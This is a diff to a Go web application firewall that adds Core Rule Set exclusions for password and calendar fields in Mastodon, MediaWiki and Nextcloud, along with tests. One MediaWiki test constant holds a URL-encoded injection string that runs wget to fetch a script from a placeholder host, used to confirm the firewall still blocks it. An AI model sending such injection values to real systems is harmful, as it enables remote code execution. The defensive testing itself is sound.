ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every
+59 -8
View File
@@ -6,6 +6,7 @@ import (
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -129,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -145,6 +142,19 @@ var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
{
http.MethodPost, "/settings/migration/redirect",
@@ -152,7 +162,14 @@ var mastodonFormFields = []mastodonBodyField{
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -178,7 +195,6 @@ var mastodonJSONFields = []mastodonBodyField{
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -287,6 +303,34 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
[]string{jsonBody}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
@@ -299,7 +343,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
}
}
for _, sent := range mastodonFormFields {
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
@@ -310,7 +354,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields {
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
@@ -330,6 +375,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", sent, score)
}
}
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
}
code := url.QueryEscape(mastodonCodePost)
+80
View File
@@ -108,6 +108,86 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
# wpPassword, lgpassword and password skip each rule random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900917,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpPassword "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
"id:900918,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:lgpassword|password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:lgpassword|password)$/"
# Wikitext: the edit form sends it in wpTextbox1, the API in text, appendtext
# or prependtext, and the REST API in the JSON field source. Each of these
# rules refused saving or previewing a page whose wikitext held a template, a
+39 -12
View File
@@ -3,6 +3,7 @@ package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
)
@@ -49,9 +50,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
@@ -165,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
@@ -233,6 +242,23 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -253,7 +279,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -311,8 +338,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
+100
View File
@@ -61,6 +61,46 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The password, in the body, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900125,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:password "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
ctl:ruleRemoveTargetById=920540;ARGS:password,\
ctl:ruleRemoveTargetById=921200;ARGS:password,\
ctl:ruleRemoveTargetById=930100;ARGS:password,\
ctl:ruleRemoveTargetById=930110;ARGS:password,\
ctl:ruleRemoveTargetById=930120;ARGS:password,\
ctl:ruleRemoveTargetById=932125;ARGS:password,\
ctl:ruleRemoveTargetById=932130;ARGS:password,\
ctl:ruleRemoveTargetById=932160;ARGS:password,\
ctl:ruleRemoveTargetById=932230;ARGS:password,\
ctl:ruleRemoveTargetById=932250;ARGS:password,\
ctl:ruleRemoveTargetById=932260;ARGS:password,\
ctl:ruleRemoveTargetById=932270;ARGS:password,\
ctl:ruleRemoveTargetById=932280;ARGS:password,\
ctl:ruleRemoveTargetById=932330;ARGS:password,\
ctl:ruleRemoveTargetById=932340;ARGS:password,\
ctl:ruleRemoveTargetById=932370;ARGS:password,\
ctl:ruleRemoveTargetById=932380;ARGS:password,\
ctl:ruleRemoveTargetById=933100;ARGS:password,\
ctl:ruleRemoveTargetById=933135;ARGS:password,\
ctl:ruleRemoveTargetById=933180;ARGS:password,\
ctl:ruleRemoveTargetById=933210;ARGS:password,\
ctl:ruleRemoveTargetById=941100;ARGS:password,\
ctl:ruleRemoveTargetById=941120;ARGS:password,\
ctl:ruleRemoveTargetById=941160;ARGS:password,\
ctl:ruleRemoveTargetById=941180;ARGS:password,\
ctl:ruleRemoveTargetById=942100;ARGS:password,\
ctl:ruleRemoveTargetById=942151;ARGS:password,\
ctl:ruleRemoveTargetById=942190;ARGS:password,\
ctl:ruleRemoveTargetById=942230;ARGS:password,\
ctl:ruleRemoveTargetById=942290;ARGS:password,\
ctl:ruleRemoveTargetById=942320;ARGS:password,\
ctl:ruleRemoveTargetById=942540;ARGS:password,\
ctl:ruleRemoveTargetById=942550;ARGS:password,\
ctl:ruleRemoveTargetById=944150;ARGS:password"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
@@ -246,3 +286,63 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
# with MKCALENDAR, which 911100 refused.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900119,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
# Such a client first asks where the calendars and address books are, with a
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
"id:900120,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
# A new calendar or address book has its name in the XML body of an MKCOL,
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
# MKCOL may also hold its description (900124).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900121,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The XML body of an MKCALENDAR holds the new calendar's name and its
# description. The description is a sentence, and two rules for sentences
# refused it too:
# 932125, 932230: Powershell and python3 meetings; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900122,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# When the Calendar app changes an event, it names the charset twice in the
# Content-Type of the PUT:
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
# The Contacts app does the same with text/vcard when it changes a contact.
# 920530 refused both. The body of such a PUT is not read (900118).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900123,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "chain"
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
"ctl:ruleRemoveById=920530"
# The XML body of a new address book's MKCOL may hold its description. Like a
# calendar's (900122), it is a sentence, and the same two rules refused it:
# 932125, 932230: Powershell and python3 contacts; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
"id:900124,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
+194 -2
View File
@@ -6,6 +6,7 @@ import (
"maps"
"net/http"
"net/url"
"slices"
"strings"
"testing"
@@ -15,6 +16,9 @@ import (
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const nextcloudThreshold = 5
// nextcloudSignIn is the sign-in page.
const nextcloudSignIn = "/login"
// nextcloudShare is a public share's page.
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
@@ -82,8 +86,7 @@ var nextcloudQueryFields = []string{
//
//nolint:gochecknoglobals // a constant cannot be a list
var nextcloudFormFields = []struct{ target, field string }{
{"/login", "user="},
{"/login", passwordField},
{nextcloudSignIn, "user="},
{nextcloudUsers, "userid="},
{nextcloudUsers, "displayName="},
{nextcloudUsers, "groups%5B%5D="},
@@ -126,8 +129,55 @@ var nextcloudBodies = []nextcloudBody{
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
},
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
}
// The WebDAV methods that make a calendar or an address book.
const (
nextcloudMkcol = "MKCOL"
nextcloudMkcalendar = "MKCALENDAR"
)
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
// address books of the account admin.
const (
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
)
// nextcloudNewCollection is the XML body that names a new calendar or address
// book, as an MKCOL sends it.
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
// calendar.
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
// the new calendar a description.
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
`<d:displayname>Meetings</d:displayname>` +
`<c:calendar-description>%s</c:calendar-description>` +
`</d:prop></d:set></c:mkcalendar>`
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
// address book a description.
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
`<displayname>Trainers</displayname>` +
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
`</prop></set></mkcol>`
// nextcloudDescription is a calendar's description, as recorded.
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
// nextcloudDocument is the text of a document the text editor saves, which
// skips the rules for code blocks too.
//
@@ -253,6 +303,17 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
return scores
}
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
// bodies, gives signing in with value, a query value, as the password.
func nextcloudPasswordScore(t *testing.T, value string) int {
t.Helper()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
return got.Score
}
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
@@ -262,7 +323,21 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
t.Errorf("%s refused: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
t.Errorf("password %s refused: %d", value, score)
}
}
}
func TestNextcloudPasswordPasses(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
}
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
@@ -313,6 +388,10 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Errorf("%s let through: %d", request, score)
}
}
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
t.Errorf("password %s let through: %d", commandInjection, score)
}
}
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
@@ -375,6 +454,119 @@ func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
}
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
// MKCALENDAR only where the calendars are.
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
}
for _, target := range []string{
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
"/x/remote.php/dav/calendars/",
} {
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
}
// PROPFIND, and no other WebDAV method, where a client asks for them.
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
}
other := request{nextcloudPropFind, "/.well-known/other", nil}
wantResult(t, crs, other, matched(911100))
}
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A new calendar's and a new address book's description, as recorded.
for _, described := range []struct {
sent nextcloudBody
description string
}{
{
nextcloudBody{
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
nextcloudCalendarDescription,
},
nextcloudDescription,
},
{
nextcloudBody{
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
nextcloudAddressBookDescription,
},
"Powershell and python3 contacts; ls -la first",
},
} {
sent := described.sent
